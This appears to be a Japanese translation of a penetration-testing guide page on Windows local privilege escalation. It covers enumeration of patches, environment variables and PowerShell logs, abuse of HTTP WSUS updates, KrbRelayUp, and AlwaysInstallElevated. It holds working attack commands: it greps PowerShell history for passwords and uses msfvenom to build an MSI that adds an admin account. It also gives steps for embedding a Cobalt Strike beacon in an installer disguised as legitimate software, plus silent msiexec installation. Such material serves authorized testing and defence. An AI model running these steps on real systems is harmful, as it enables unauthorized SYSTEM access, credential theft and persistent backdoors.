コンテンツにスキップ

システム情報とインストーラーの調査

OS のバージョンやパッチ、インストーラー設定は、ローカルで使える権限昇格経路を絞る手がかりになります。まず現在の状態を確認し、その結果から必要な項目を詳しく調べます。

Windows バージョンに既知の脆弱性(known vulnerability)がないか確認します(適用済みパッチも確認)。

ターミナルウィンドウ
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # その情報だけ取得
wmic qfe get Caption,Description,HotFixID,InstalledOn # パッチ
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% # システムアーキテクチャ取得
ターミナルウィンドウ
[System.Environment]::OSVersion.Version # 現在の OS バージョン
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} # すべてのパッチを列挙
Get-Hotfix -description "Security update" # "Security Update" パッチのみ

Microsoft Security Update Guide で、OS のバージョンや適用済みパッチに関係する脆弱性を調べます。

システム上で

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas は watson を内包)

システム情報を使ってローカルで

エクスプロイトの GitHub リポジトリ:

環境変数に資格情報や接続先などが含まれていないか確認します。

ターミナルウィンドウ
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
ターミナルウィンドウ
ConsoleHost_history # 保存パスを探す
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

有効化(turn this on)方法は https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ を参照してください。

ターミナルウィンドウ
# レジストリで有効化を確認
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
# トランスクリプト セッション開始
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell のパイプライン実行の詳細が記録されます。実行されたコマンド、コマンド呼び出し、スクリプトの一部が対象です。ただし、完全な実行詳細や出力結果が記録されない場合があります。

有効化するには、ドキュメントの「Transcript files」セクションの手順に従い、“Powershell Transcription” ではなく “Module Logging” を選択します。

ターミナルウィンドウ
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

PowerShell ログの直近 15 件を見るには次を実行します。

ターミナルウィンドウ
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell スクリプトブロックログ

Section titled “PowerShell スクリプトブロックログ”

スクリプト実行時の完全なアクティビティと内容が記録され、コードの各ブロックが実行に合わせて記録されます。これは包括的な監査証跡(audit trail)として機能し、フォレンジック(forensics)や悪意ある挙動の分析に有用です。実行時点の活動が記録されるため、プロセスの詳細な洞察が得られます。

ターミナルウィンドウ
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block のログは Windows Event Viewer の Application and Services Logs > Microsoft > Windows > PowerShell > Operational にあります。
直近 20 件を見るには次を使います。

ターミナルウィンドウ
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
ターミナルウィンドウ
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ターミナルウィンドウ
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

更新が httpS ではなく http で取得されている場合、システムを侵害できる可能性があります。

まず、ネットワークが非 SSL の WSUS 更新を使っているかを、次の cmd で確認します。

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

PowerShell では次の通りです。

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

以下のような応答が得られた場合:

ターミナルウィンドウ
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
ターミナルウィンドウ
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry

さらに HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer または Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" が 1 に等しい場合、

悪用可能(exploitable)です。 最後のレジストリ値が 0 の場合、WSUS エントリは無視されます。

この脆弱性の悪用には Wsuxploit、pyWSUS などのツールを使えます。これらは非 SSL WSUS 通信に「偽(fake)」アップデートを注入する MiTM(Man-in-the-Middle)武器化エクスプロイト スクリプトです。

研究資料はこちら:

CTX_WSUSpect_White_Paper (1).pdf

WSUS CVE-2020-1013

完全なレポートはこちら。
基本的には、このバグが悪用する欠陥は以下です:

ローカルユーザーのプロキシを変更でき、Windows Updates が Internet Explorer の設定で構成されたプロキシを使っている場合、ローカルで PyWSUS を実行して自分の通信を傍受し、資産上で昇格ユーザーとしてコード実行できます。

さらに、WSUS サービスは現在のユーザー設定を使うため、証明書ストアも使用します。WSUS のホスト名に対する自己署名証明書(self-signed certificate)を生成し、現在のユーザーの証明書ストアへ追加すれば、HTTP と HTTPS の WSUS 通信を両方とも傍受できます。WSUS は、証明書の trust-on-first-use 型検証を実装する HSTS のような仕組みを持ちません。提示された証明書がユーザーに信頼され、正しいホスト名であれば、サービスは受け入れます。

この脆弱性は WSUSpicious(公開され次第)で悪用できます。

サードパーティ製更新ツールとエージェントの IPC

Section titled “サードパーティ製更新ツールとエージェントの IPC”

多くのエンタープライズ エージェントは、localhost の IPC サーフェスと特権アップデート チャネルを公開します。登録(enrollment)を攻撃者サーバーに誘導でき、アップデータが不正な root CA を信頼する、または署名検証が弱い場合、ローカルユーザーは悪意のある MSI を配布し、SYSTEM サービスにインストールさせられます。一般化された手法(Netskope stAgentSvc チェーン – CVE-2025-0309 に基づく)はこちら:

Abusing auto-updaters and IPC

特定条件下の Windows **ドメイン(domain)**環境では、ローカル特権昇格(local privilege escalation)の脆弱性が存在します。条件には、LDAP 署名が強制されていないこと、ユーザーが Resource-Based Constrained Delegation(RBCD) を設定できる self-rights を持つこと、ドメイン内でユーザーがコンピュータを作成できることが含まれます。これらの要件は既定設定(default settings)で満たされる点に注意してください。

exploit は https://github.com/Dec0ne/KrbRelayUp にあります。

攻撃フローの詳細は https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ を参照してください。

これら 2 つのレジストリ(registers)が有効(値が 0x1)であれば、どの権限レベルのユーザーでも *.msi ファイルを NT AUTHORITY\SYSTEM として**インストール(実行)**できます。

ターミナルウィンドウ
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ターミナルウィンドウ
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi # No UAC 形式
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi # msiexec を使うため UAC は表示されない

meterpreter セッションがある場合は、モジュール exploit/windows/local/always_install_elevated を使って自動化できます。

power-up の Write-UserAddMSI コマンドを使うと、カレントディレクトリに権限昇格用の Windows MSI バイナリを作成できます。このスクリプトはユーザー/グループ追加を促す事前コンパイル済み MSI インストーラを書き出します(GUI access が必要)。

Write-UserAddMSI

作成されたバイナリを実行するだけで権限昇格できます。

このツールを使って MSI ラッパー(MSI wrapper)を作成する方法は次のチュートリアルを参照してください。コマンドラインを実行したいだけであれば、“.bat” ファイルをラップできます。

MSI Wrapper

Create MSI with WIX

  • Cobalt Strike または Metasploit で 新しい Windows EXE TCP ペイロードを C:\privesc\beacon.exe に生成する。
  • Visual Studio を開き、Create a new project を選び、検索ボックスに “installer” と入力。Setup Wizard プロジェクトを選択して Next。
  • プロジェクト名を AlwaysPrivesc などにし、場所を C:\privesc に指定し、place solution and project in the same directory を選択して Create。
  • Next を押し続けて 4 ステップ中 3 つ目(含めるファイル選択)に到達したら、Add をクリックし、先ほど生成した Beacon ペイロードを選択。次に Finish。
  • Solution Explorer で AlwaysPrivesc プロジェクトを選択し、Properties で TargetPlatform を x86 から x64 に変更。
    • Author や Manufacturer など、インストールされるアプリをより正当(legitimate)に見せるためのプロパティも変更可能。
  • プロジェクトを右クリックして View > Custom Actions。
  • Install を右クリックし Add Custom Action。
  • Application Folder をダブルクリックし、beacon.exe を選択して OK。これでインストーラ実行直後にペイロードが実行されます。
  • Custom Action Properties で Run64Bit を True に変更。
  • 最後に build する。
    • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' という警告が出た場合、プラットフォームを x64 に設定してください。

悪意のある .msi ファイルをバックグラウンドでインストールするには次の通りです:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

この脆弱性は exploit/windows/local/always_install_elevated で悪用できます。